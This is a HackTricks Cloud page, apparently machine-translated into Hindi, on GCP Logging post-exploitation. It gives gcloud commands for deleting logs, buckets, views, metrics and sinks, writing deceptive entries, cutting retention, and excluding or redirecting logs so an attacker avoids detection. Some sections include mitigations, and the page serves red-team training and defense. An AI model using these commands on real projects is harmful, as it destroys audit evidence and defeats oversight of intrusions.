GCP - Logging Post Exploitation

AWS Hacking सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks को समर्थन दें

• subscription plans देखें!

• 💬 Discord group या telegram group में शामिल हों या हमें Twitter 🐦 पर फॉलो करें @hacktricks_live.**

• हैकिंग ट्रिक्स को साझा करें HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।

Basic Information

अधिक जानकारी के लिए देखें:

GCP - Logging Enum

अन्य तरीकों के लिए मॉनिटरिंग को बाधित करने के लिए देखें:

GCP - Monitoring Post Exploitation

Default Logging

डिफ़ॉल्ट रूप से, केवल पढ़ने की क्रियाओं को करने के लिए आपको पकड़ा नहीं जाएगा। अधिक जानकारी के लिए Logging Enum सेक्शन देखें।

Excepted Principal जोड़ें

https://console.cloud.google.com/iam-admin/audit/allservices और https://console.cloud.google.com/iam-admin/audit में प्रिंसिपल्स को जोड़ना संभव है ताकि लॉग्स उत्पन्न न हों। एक हमलावर इसका दुरुपयोग कर सकता है ताकि पकड़ा न जाए।

लॉग्स पढ़ें - logging.logEntries.list

# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

# Everything from a timestamp
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json

# Use these options to indicate a different bucket or view to use: --bucket=_Required  --view=_Default

logging.logs.delete

# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>

Write logs - logging.logEntries.create

# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR

logging.buckets.update

# Set retention period to 1 day (_Required has a fixed one of 400days)

gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1

logging.buckets.delete

विवरण

यह अनुमति आपको एक लॉगिंग बकेट को हटाने की अनुमति देती है।

संभावित प्रभाव

लॉगिंग बकेट को हटाने से महत्वपूर्ण लॉग डेटा खो सकता है, जो सुरक्षा घटनाओं की जांच और अनुपालन आवश्यकताओं के लिए आवश्यक हो सकता है।

शमन

• केवल आवश्यक उपयोगकर्ताओं को यह अनुमति दें।

• नियमित रूप से लॉग डेटा का बैकअप लें।

• लॉगिंग बकेट हटाने की गतिविधियों की निगरानी करें।

# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>

logging.links.delete

# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>

logging.views.delete

विवरण

यह अनुमति आपको एक लॉग व्यू को हटाने की अनुमति देती है।

संभावित प्रभाव

लॉग व्यू को हटाने से महत्वपूर्ण लॉग डेटा खो सकता है, जो सुरक्षा और अनुपालन उद्देश्यों के लिए आवश्यक हो सकता है।

शमन

सुनिश्चित करें कि केवल अधिकृत उपयोगकर्ताओं को ही यह अनुमति दी गई है और नियमित रूप से लॉग बैकअप बनाए रखें।

# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global

logging.views.update

# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"

logging.logMetrics.update

# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID

logging.logMetrics.delete

विवरण

यह अनुमति आपको एक प्रोजेक्ट में Metric को हटाने की अनुमति देती है।

संभावित दुरुपयोग

एक हमलावर इस अनुमति का उपयोग करके Metric को हटा सकता है, जिससे लॉगिंग और मॉनिटरिंग में बाधा उत्पन्न हो सकती है। यह गतिविधियों को छिपाने के लिए उपयोगी हो सकता है।

शमन

1. समीक्षा करें और प्रतिबंधित करें: सुनिश्चित करें कि केवल आवश्यक उपयोगकर्ताओं को ही यह अनुमति दी गई है।

2. लॉग मॉनिटरिंग: नियमित रूप से लॉग मॉनिटरिंग करें ताकि किसी भी अनधिकृत गतिविधि का पता लगाया जा सके।

3. अलर्ट सेट करें: Metric हटाने की गतिविधियों के लिए अलर्ट सेट करें।

logging.logMetrics.create

विवरण

यह अनुमति आपको एक प्रोजेक्ट में Metric बनाने की अनुमति देती है।

संभावित दुरुपयोग

एक हमलावर इस अनुमति का उपयोग करके झूठे Metric बना सकता है, जिससे लॉगिंग और मॉनिटरिंग में भ्रम उत्पन्न हो सकता है।

शमन

1. समीक्षा करें और प्रतिबंधित करें: सुनिश्चित करें कि केवल आवश्यक उपयोगकर्ताओं को ही यह अनुमति दी गई है।

2. लॉग मॉनिटरिंग: नियमित रूप से लॉग मॉनिटरिंग करें ताकि किसी भी अनधिकृत गतिविधि का पता लगाया जा सके।

3. अलर्ट सेट करें: Metric बनाने की गतिविधियों के लिए अलर्ट सेट करें।

# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>

logging.sinks.delete

यह अनुमति आपको लॉगिंग सिंक को हटाने की अनुमति देती है। यह पोस्ट-एक्सप्लॉइटेशन चरण में उपयोगी हो सकता है ताकि आपके कार्यों के किसी भी लॉग को हटाया जा सके और आपके ट्रैक्स को कवर किया जा सके।

logging.sinks.update

यह अनुमति आपको मौजूदा लॉगिंग सिंक को अपडेट करने की अनुमति देती है। आप लॉग्स को किसी अन्य स्थान पर भेजने के लिए इसका उपयोग कर सकते हैं, जिससे आपके कार्यों का पता लगाना मुश्किल हो जाता है।

logging.logs.delete

यह अनुमति आपको लॉग्स को हटाने की अनुमति देती है। यह आपके द्वारा किए गए किसी भी कार्य के निशान को मिटाने के लिए उपयोगी हो सकता है।

logging.exclusions.create

यह अनुमति आपको लॉगिंग एक्सक्लूज़न बनाने की अनुमति देती है। आप इसे उन घटनाओं को बाहर करने के लिए उपयोग कर सकते हैं जिन्हें आप लॉग नहीं करना चाहते हैं।

logging.exclusions.delete

यह अनुमति आपको लॉगिंग एक्सक्लूज़न को हटाने की अनुमति देती है। यह सुनिश्चित करता है कि आपके द्वारा बनाए गए किसी भी एक्सक्लूज़न को हटाया जा सकता है।

logging.exclusions.update

यह अनुमति आपको मौजूदा लॉगिंग एक्सक्लूज़न को अपडेट करने की अनुमति देती है। आप इसे लॉगिंग सेटिंग्स को बदलने के लिए उपयोग कर सकते हैं ताकि आपके कार्यों का पता लगाना मुश्किल हो जाए।

# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>

logging.sinks.update

# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled

# Createa filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"

# Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update <sink-name> new-destination

# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID

# Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --clear-exclusions

# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables

AWS Hacking सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks को समर्थन दें

• subscription plans देखें!

• 💬 Discord group या telegram group में शामिल हों या Twitter 🐦 पर हमें फॉलो करें @hacktricks_live.

• PRs सबमिट करके हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github repos में।